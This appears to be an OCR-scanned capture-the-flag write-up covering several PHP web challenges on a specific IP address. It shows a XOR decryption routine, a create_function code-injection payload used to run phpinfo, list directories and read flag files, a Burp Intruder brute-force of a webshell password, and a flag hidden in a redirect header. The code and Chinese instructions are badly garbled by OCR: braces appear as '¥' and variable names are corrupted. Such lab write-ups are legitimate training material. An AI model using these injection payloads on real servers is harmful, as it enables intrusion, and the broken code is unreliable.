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<?php
header('Content-Type: text/html; charset=utf-8'); //MH%H3
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$1 = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $1) {
$x = o;
}
$char .= $key {$x};
$X ++;
¥
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
¥

return base64_encode ( $str );

function decrypt($data, $key) {

$key = md5 ( $key );

$x = 0;

$data = base64_decode ( $data );

$len = strlen ( $data );

$1 = strlen ( $key );

for($i = 0; $i < $len; $i ++) {

if ($x == $1) {
$x = 0;
¥

$char .= substr ( $key, $x, 1 );

$x ++;

¥

for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
¥

¥

return $str;

}

$key="MyCTF";
$flag="061ziaedxtaqoqCtmWgcaZuzfrd5SpbI=";//encrypt($flag, $key)
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$key="MyCTF";
$flag-"o6lziaedxtagoqCtmWqcaZuZfrd5pbI="};
echo decrypt($flag,$key)

2>

myCTF{cssohwd56954GUEB}[Finished in 1.2s]
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$action = $ GET['action'];
¥

if(isset($_GET['action'])){
$arg = $_GET['arg'];
¥

if(preg_match('/~[a-z0-9_]*$/isD', $action)){
show_source(__FILE_ );

} else {
$action($arg,'"');

}
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PHP Version 7.2.15-0ubuntu0.18.04.1 php

System Linux d08823a703ca 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64

Build Date Feb 8 2019 14:54:22

Server API FPM/FastCGl

Virtual Directery Support disabled

Configuration File (php.ini) Path Jetc/php/7.2/fpm

Loaded Configuration File Jetc/php/7.2/fpm/php.ini

Scan this dir for additional .ini files Jetc/php/7.2/fpm/conf.d

Additional .ini files parsed Jetc/php/7.2/fpm/conf.d/00-ioncube.ini, fetc/php/7.2/fpm/conf.d/10-mysqglnd.ini, fetc/php/7 2/fpm
feonf.d/10-opcache.ini, fetc/php/7_2/fpm/conf.d/10-pdo.ini, fetc/php/7 2/fpm/conf.d/15-xmlini, fetc/php
f7.2ffpm/conf.d/20-apcu.ini, fetc/php/7 2/fpm/conf.d/20-bemath.ini, /etc/php/7 2/fpm/conf.d/20-bz2.ini,
fetc/php/7 2/fpm/conf.d/20-calendar.ini, /etc/php/7.2/fpm/conf.d/20-ctype.ini, fetc/php/7.2/fpm/conf.d
/20-curlini. /etc/oho/7.2/fom/conf.d/20-dom.ini. /etc/oho/7.2/fom/conf.d/20-exifini. /etc/oho/7 2/fom
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& Load URL hittp://120.79.1.69:10006/?action=%5ccreate_function&arg=){}phpinfo().//
§ spiit URL

Execute
VH [] Postdata [] Referrer [] User Agent [] Cookies

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(21) "Th1s_15_F1a9 Hav3_Fun” [3]=> string(9) "index.php” [4]=> string(6) "zx.php" }
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= Load URL http://120.79.1 69:10006/?action=%5ccreate_function&arg=tvar_dump{scandir("/"}).//
i spiit URL

Execute
V= [ Postdata [] Referrer [] User Agent [] Cookies

array(2) { [0]=> string(40) "jactf{c795359da5bae38ec9132eaad24733fc} " [1]=> string(1) " " }
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@i Load URL http://120.79.1.69:10006/?action=%5ccreate_function&arg=){}var_dump(file("./Th1s_15 F1a9 Hav3 Fun")).//
§ spiitURL

Execute
v = [ Postdata [] Referrer [] User Agent [] Cookies

BEHANE 3 T flag: jactf{c795359da56ae38ec9132eaad24733fc)
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WebShell

PASS: |

Z J& Fburp¥lVa 2 771 fi -
(1) fEproxy->options ¥ BARFER
(2) Y88 % B R
(3) proxy->intercept¥#E £ 4k
(4) FEMAELER, Hiforward
(5) action->send to intruder

(6) ridrclear, BUH 2 I X = EH4E KR



(7)) BEHRERIBHEPIAL, Miraddiinizic
(8) payloads->load, #in# Y7 it
(9) fidistart attackJF 46 & H1 AR

[ Target I Positions. TPajiuads T Options ]

@ Payload Options [Simple lisf]

This payload type lets vou configure a simple list of strings that are used as payloads.

paste | | 584521 i
| nohack
Load ... 45189946
— | hacksb
Remove hackersh -
— | heixiaozi
Clear 350
sb350 v
Add Enter a new item
Add from list ... [Pro version anly] ¥

| Target | Positions | Payloads | QOptions |

] Store full payloads

@ Grep - Match

E' Theze settings can be uzed to flag result tems containing specified expressions.

[ Flag result tems with responses matching these expressions:

JER0I0q00

FRECHEAEILRE!
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Match type: @ Simple string

() Reoex

J Results T Target I Positions I Payloads IOpﬂDns ]

| Fiter: Showing all tems

Reguest | Payload |5mms 1r| Error |T|mauut | Length |:éﬁ.|:||1.. |Cu-n1ment
103 20198230802 200 O @] 1158 @]
104 kil 200 O O 1156 O
105 chengnuo 200 O O 1158 O
108 45139945 200 O O 1156 O
107 123321 200 O O 1156 O
108 hacker 200 O O 1158 O
109 hack 200 0 O 1159 ]
110 hacde 200 O O 1156 O
111 chuang 200 O O 1158 O
112 aigzu 200 O O 1158 O
113 981246 200 O O 1156 O
114 &t520 200 O O 1156 O
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« > C o @ 120.79.1.69:10001

flagiEi=E2

R flagfEiX B H BT W -

(€)> c @ ® 120.79.1.69:10001/404.php

Not Found

The requested URL /flag.php was not found on this server.
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1219 hitp120.79.1.659:10001 GET 1404 php 404 440 HTML php 404 Not Found
1218 hitp20.79.1.658:10001 GET lag.php 302 23 HTHL php

RFflag.phpiihttpkfE 8, KT —/&idbase64in% iflag

BB GET request to httpy//120.79.1.62:10001 /flag.php — O *

_
[ readers | x|

HTTP/M 1 302 Found A
Server: nginx/1 140 (Uburitu)
Date: Sat, 13 Apr 2019 14:20:28 GMT

Content-Type: texthtml, charset=UTF-5
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Flag: amFjdGZ7amFz Y WZIMTEweXdlY XNkenhjfl==
location: 404 php
Corntent-Length: 0

% idbaseb4ff % J5 K13 B & iflag.
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